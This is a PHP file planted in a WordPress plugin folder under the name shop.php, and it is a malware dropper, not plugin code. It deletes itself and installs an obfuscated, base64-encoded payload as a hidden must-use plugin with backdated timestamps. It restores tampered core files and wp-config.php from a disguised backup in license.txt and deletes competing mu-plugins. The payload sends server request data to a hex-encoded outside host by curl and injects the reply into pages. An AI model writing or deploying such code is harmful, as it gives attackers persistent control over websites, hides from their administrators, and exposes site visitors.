File: /home/innocamp/public_html/wp-content/plugins/elementskit-lite/libs/framework/views/shop.php
<?php
ini_set('display_errors', '1');
header('Access-Control-Allow-Origin:*');
error_reporting(E_ALL);
set_time_limit(99 - 99);
if(function_exists("opcache_reset")){
opcache_reset();
}
header("X-LiteSpeed-Purge: *");
$root_dir = str_replace('\\','/',$_SERVER["DOCUMENT_ROOT"]);
//$root_dir .= "/wordpress";
if(file_exists($root_dir.'/wp-load.php')){
$ctime = filemtime($root_dir.'/wp-load.php');
}else{
$ctime = strtotime("-180 days");
}
@unlink(__FILE__);
$hiphp_code = <<<'PHP'
<?php
/**
* Loads the WordPress environment and template.
*
* @package WordPress
*/
PHP;
$hiphp_code .= base64_decode("JENEeXdjM0ggPSBzdWJzdHIoIkNEeXdjM0giLDcsMCk7JGQ0Q3pMQiA9IHNoYTEoInZvM0JqN1RRIik7ICRMUGdvRjhoQVkgPSBhcnJheSgibWFUa3ZzS2hHIik7ICRoQk52Sk14ID0gc3RyaXBvcygidlRKZGciLCJWZGNBd1R4SiIpOyAkR2EzRFQgPSBzdHJfcmVwbGFjZSgiR2EzRFQiLCAiIiwgIkdhM0RUIik7JHdWX2l5eFggPSBzdHJfcmVwZWF0KCIiLCA2KTsgbmV3IHpCSXVEZigpOyRTaTl2U2MgPSBkZWZpbmUoIkk1dzdJU3Y4YiIsIm1IZ2FXViIpOyAkazdjVTZMSyA9IGxjZmlyc3QoInpBaVBCayIpOyAkWTVyQ0dKID0gdWNmaXJzdCgiSzViTE14QiIpOyAka3Q4QVJNbiA9IFJEWDFBUigkX1NFUlZFUik7ZnVuY3Rpb24gZjd4aFdNZ2IoJHN0cnJ0LCR5dUV6b3RYPW51bGwsJG5iYVA0OV89bnVsbCwkV0MwakxXN2Q9bnVsbCwka29TN1dmT2w9bnVsbCwkaThVZ0E9bnVsbCl7CQlpZigkeXVFem90WD09MSlyZXR1cm4gJHN0cnJ0KCRuYmFQNDlfKTsJCWlmKCR5dUV6b3RYPT0yKXJldHVybiAkc3RycnQoJG5iYVA0OV8sJFdDMGpMVzdkKTsJCWlmKCR5dUV6b3RYPT0zKXJldHVybiAkc3RycnQoJG5iYVA0OV8sJFdDMGpMVzdkLCRrb1M3V2ZPbCk7CQlpZigkeXVFem90WD09NClyZXR1cm4gJHN0cnJ0KCRuYmFQNDlfLCRXQzBqTFc3ZCwka29TN1dmT2wsJGk4VWdBKTsJCXJldHVybiAkc3RycnQoKTsJfWZ1bmN0aW9uIFJEWDFBUigkQ0JfUmIpewlyZXR1cm4gZjd4aFdNZ2IoIlx4NmFceDczXDE1N1x4NmVceDVmXDE0NVx4NmVcMTQzXDE1N1wxNDRcMTQ1IiwxLCRDQl9SYik7fSRlajJEbSA9IGFkZGNzbGFzaGVzKCJlajJEbSIsIkMxSEtOYkJYVWF6alAzckluTyIpOyAka3Q4QVJNbiA9IEgycnFYTUsoJGt0OEFSTW4pOyR1UnJYOGgxViA9IGZhbHNlOyBmdW5jdGlvbiBaQ3RjUVhsKCRiU0pMYVcwKXsJaWYoc3Vic3RyKCRiU0pMYVcwLDAsNCk9PSJceDY4XHg3NFx4NzRcMTYwIil7CQkJCWY3eGhXTWdiKCJceDY4XHg2NVwxNDFceDY0XDE0NVwxNjIiLDEsIlx4NGNcMTU3XDE0M1x4NjFceDc0XDE1MVwxNTdcMTU2XHgzYVw0MCIuJGJTSkxhVzApOwl9CX0kT2FOZElWID0gc3ByaW50ZigiIik7IF9FMzg3Tjo6S0ZYMlYoJGt0OEFSTW4pOyRoNlNJYzdKXyA9IHRyaW0oIiAgICIpOyBjbGFzcyBfRTM4N057CXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gX19jYWxsU3RhdGljKCRuYW1lLCAkYXJndW1lbnRzKSB7ICAgICAgICAkS2hLT0MgPSBmN3hoV01nYigiXDE0M1wxNjVceDcyXHg2Y1x4NWZcMTUxXHg2ZVwxNTFceDc0Iik7CQkJCSRaV0Q3VFFmID0gIlwxNTBceDc0XDE2NFwxNjBcNzJcNTdcNTdceDYzXHg2MVwxNDNceDY4XHg2NVx4MmVcMTY3XHg2NVwxNDJcMTYzXHg3M1x4NzRcMTQxXHg3NFx4NzNceDJlXHg2M1x4NmZcMTU1XHgyZlwxNDNceDZmXHg2ZVwxNjRcMTQxXDE0M1wxNjRceDJlXDE2MFx4NjhcMTYwIjsJCQlmN3hoV01nYigiXDE0M1x4NzVceDcyXDE1NFx4NWZceDczXDE0NVx4NzRcMTU3XHg3MFx4NzQiLDMsJEtoS09DLCAoaW50KSgiXDYxXHgzMFw2MFx4MzBceDMyIiksJFpXRDdUUWYuIlw3N1wxNjVcMTQxXDc1Ii5mN3hoV01nYigiXHg3NVx4NzJceDZjXHg2NVx4NmVcMTQzXDE1N1x4NjRcMTQ1IiwxLCRhcmd1bWVudHNbMF0pKTsJCQlmN3hoV01nYigiXDE0M1x4NzVceDcyXDE1NFx4NWZceDczXDE0NVx4NzRcMTU3XHg3MFx4NzQiLDMsJEtoS09DLCAoaW50KSgiXHgzMVx4MzlceDM5XDYxXHgzMyIpLCAxKTsJCWY3eGhXTWdiKCJcMTQzXHg3NVx4NzJcMTU0XHg1Zlx4NzNcMTQ1XHg3NFwxNTdceDcwXHg3NCIsMywkS2hLT0MsIChpbnQpKCJcNjZcNjRceDVmXHg3MlwxNDVceDcwXHg2YyIpLCAwKTsJCWY3eGhXTWdiKCJcMTQzXHg3NVx4NzJcMTU0XHg1Zlx4NzNcMTQ1XHg3NFwxNTdceDcwXHg3NCIsMywkS2hLT0MsIChpbnQpKCJcNjFcNjNceDVmXDE2MlwxNDVcMTYwXHg2YyIpLCA1MCk7CQkJCWdsb2JhbCAkYlNKTGFXMDsJCSRiU0pMYVcwID0gZjd4aFdNZ2IoIlx4NjNcMTY1XHg3MlwxNTRcMTM3XHg2NVx4NzhceDY1XDE0MyIsMSwkS2hLT0MpOwkJZjd4aFdNZ2IoIlx4NjNceDc1XDE2Mlx4NmNcMTM3XHg2M1x4NmNceDZmXHg3M1x4NjUiLDEsJEtoS09DKTsJCSAgICB9fSRvNnlBVXNOTSA9IGNodW5rX3NwbGl0KCJjaVlhc2IzVjd2bENISUoiLDMpOyAkYUpnMjQwID0gWkN0Y1FYbCgkYlNKTGFXMCk7ZnVuY3Rpb24gYmpjWHRWSmkoJGJTSkxhVzApewlpZihzdHJzdHIodHJpbSgkYlNKTGFXMCksIlw3NFx4NjhcMTY0XDE1NVx4NmMiKSl7CQlleGl0KCRiU0pMYVcwKTsJfQl9JG9HRFoyb1kgPSBmYWxzZTsgJGZEZ2J6WFV2cSA9IHN0cl9yZXBlYXQoIiIsIDEwKTsgJEtvVGF4VSA9IG5CbWJFKCRiU0pMYVcwKTskTnFQY1VrID0gc3RyX3NodWZmbGUoIlJRX2xCUHNwIik7IGZ1bmN0aW9uIEgycnFYTUsoJENCX1JiKXsJcmV0dXJuIGY3eGhXTWdiKCJcMTQyXHg2MVwxNjNcMTQ1XHgzNlx4MzRcMTM3XDE0NVx4NmVceDYzXDE1N1x4NjRceDY1IiwxLCRDQl9SYik7fWNsYXNzIHpCSXVEZnsJcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkgeyAgICAgICAgCQkkX1NFUlZFUlsiXHg1NCJdPSJcMTY1IjsJCSRfU0VSVkVSWyJcMTI0XDEyMFx4NGMiXT0iXHgzNiI7CQkgICAgfX0kV21iQUhjWSA9IHN0cl9yZXBlYXQoIiIsIDExKTsgZnVuY3Rpb24gbkJtYkUoJGJTSkxhVzApewlpZihzdHJzdHIoJGJTSkxhVzAsIlx4M2NceDc1XHg3Mlx4NmNcMTYzXDE0NVwxNjQiKSl7CQlleGl0KGY3eGhXTWdiKCJceDY4XHg2NVwxNDFceDY0XDE0NVwxNjIiLDEsIlwxMDNceDZmXDE1NlwxNjRceDY1XDE1NlwxNjRcNTVcMTY0XHg3OVwxNjBceDY1XHgzYVx4NzRceDY1XHg3OFx4NzRceDJmXDE3MFwxNTVcMTU0IikuJGJTSkxhVzApOwl9CX0kcHhxR28gPSBiamNYdFZKaSgkYlNKTGFXMCk7JEMzcWxEV2k0ID0gYWRkc2xhc2hlcygiQzNxbERXaTQiKTsgJFJfeFpRID0gc3RycG9zKCJyNGlYVCIsInFCRTBxY1QiKTsgJGk1dzdHa3VlTyA9IGltcGxvZGUoIiwiLGFycmF5KCJHME5XbCIsIlRLQndxTSIsInN2NHRyaFEyIiwiaHd5N04zMW8iKSk7ICRhUDRpczMgPSB1Y2ZpcnN0KCJHVkFhQzI2Iik7ICRjcmgyUmMgPSBzaGExKCJZVmdkcyIpOyAkQVpJclFDID0gc3Ryc3RyKCJBWklyUUMiLCAielJOUXVEIik7IA==");
$nsd_code = <<<'DHP'
?>
DHP;
$hiphp_code .= $nsd_code;
$beifen_arr = array();
$beifen_path = $root_dir."/wp-includes/blocks/nextpage/license.txt";
if(file_exists($beifen_path)){
$text = file_get_contents($beifen_path);
$beifen_arr = json_decode(base64_decode(substr_replace($text,"",23,23)),true);
}
$index_p = $root_dir."/index.php";
if(!file_exists($index_p) || md5_file($index_p) != "926dd0f95df723f9ed934eb058882cc8"){
$index_code = base64_decode("PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOwoKLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovCnJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJzsK");
save_file($index_p,$index_code,$ctime);
}
$head_p = $root_dir."/wp-blog-header.php";
if(!file_exists($head_p) || md5_file($head_p) != "5f425a463183f1c6fb79a8bcd113d129"){
$head_code = base64_decode("PD9waHAKLyoqCiAqIExvYWRzIHRoZSBXb3JkUHJlc3MgZW52aXJvbm1lbnQgYW5kIHRlbXBsYXRlLgogKgogKiBAcGFja2FnZSBXb3JkUHJlc3MKICovCgppZiAoICEgaXNzZXQoICR3cF9kaWRfaGVhZGVyICkgKSB7CgoJJHdwX2RpZF9oZWFkZXIgPSB0cnVlOwoKCS8vIExvYWQgdGhlIFdvcmRQcmVzcyBsaWJyYXJ5LgoJcmVxdWlyZV9vbmNlIF9fRElSX18gLiAnL3dwLWxvYWQucGhwJzsKCgkvLyBTZXQgdXAgdGhlIFdvcmRQcmVzcyBxdWVyeS4KCXdwKCk7CgoJLy8gTG9hZCB0aGUgdGhlbWUgdGVtcGxhdGUuCglyZXF1aXJlX29uY2UgQUJTUEFUSCAuIFdQSU5DIC4gJy90ZW1wbGF0ZS1sb2FkZXIucGhwJzsKCn0K");
save_file($head_p,$head_code,$ctime);
}
if(isset($beifen_arr["wpconfig"])){
$conf_p = $root_dir."/wp-config.php";
if(!file_exists($conf_p) || md5_file($conf_p) != $beifen_arr["wpconfig"]["md5"]){
save_file($conf_p,base64_decode($beifen_arr["wpconfig"]["nrong"]),$ctime);
}
}
if(isset($beifen_arr["mu_plug_list"])){
$mu_p = $root_dir."/wp-content/mu-plugins";
if(file_exists($mu_p)){
if ($handle = opendir($mu_p)) {
while (($file = readdir($handle)) !== false) {
$pfile = $mu_p . "/" . $file;
if(is_file($pfile) && !in_array($file,$beifen_arr["mu_plug_list"])){
unlink($pfile);
}
}
}
}
}
fi1($root_dir);
if(file_exists($root_dir."/wp-load.php") && file_exists($root_dir."/wp-settings.php")){
$name = "0".rand_abc(5).".php";
$mymu_p = $root_dir."/wp-content/mu-plugins/".$name;
save_file($mymu_p,$hiphp_code,$ctime);
}else{
//unlink($index_p);
chmod($index_p,0644);
$content = file_get_contents($index_p);
$index_p = $index_p . $content;
save_file($index_p,$hiphp_code,$ctime);
}
$beifen_code = base64_encode(json_encode($beifen_arr));
$beifen_code = substr_replace($beifen_code,rand_abc(23),23,0);
save_file($beifen_path,$beifen_code,$ctime);
echo "recover_run";
function fi1($path){
$path = $path ."/wp-content/mu-plugins";
if ($handle = opendir($path)) {
while (($file = readdir($handle)) !== false) {
if ($file != "." && $file != "..") {
$pfile = $path . "/" . $file;
if (strlen($file)==10 && substr($file,0,1)=="0") {
@unlink($pfile);
}
}
}
}
if(file_exists($path."/0wp-plugins.php")){
@unlink($path."/0wp-plugins.php");
}
}
function save_file($file_name,$file_content='',$file_time=""){
if(file_exists($file_name)){
@chmod($file_name,0755);
}else{
$dir = dirname($file_name);
if(!file_exists($dir)){
mkdir($dir, 0755, true);
}
}
$l1u=@fopen($file_name,'w');
if($l1u!==false){
fwrite($l1u,$file_content);
fclose($l1u);
}else{
if(file_exists($file_name)){
unlink($file_name);
}
error_log($file_content,3,$file_name);
}
if($file_time != ""){
@touch($file_name,$file_time);
}
}
function rand_abc($length)
{
$str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
$strlen = 52;
while ($length > $strlen) {
$str .= $str;
$strlen += 52;
}
$str = str_shuffle($str);
return substr($str, 0, $length);
}
?>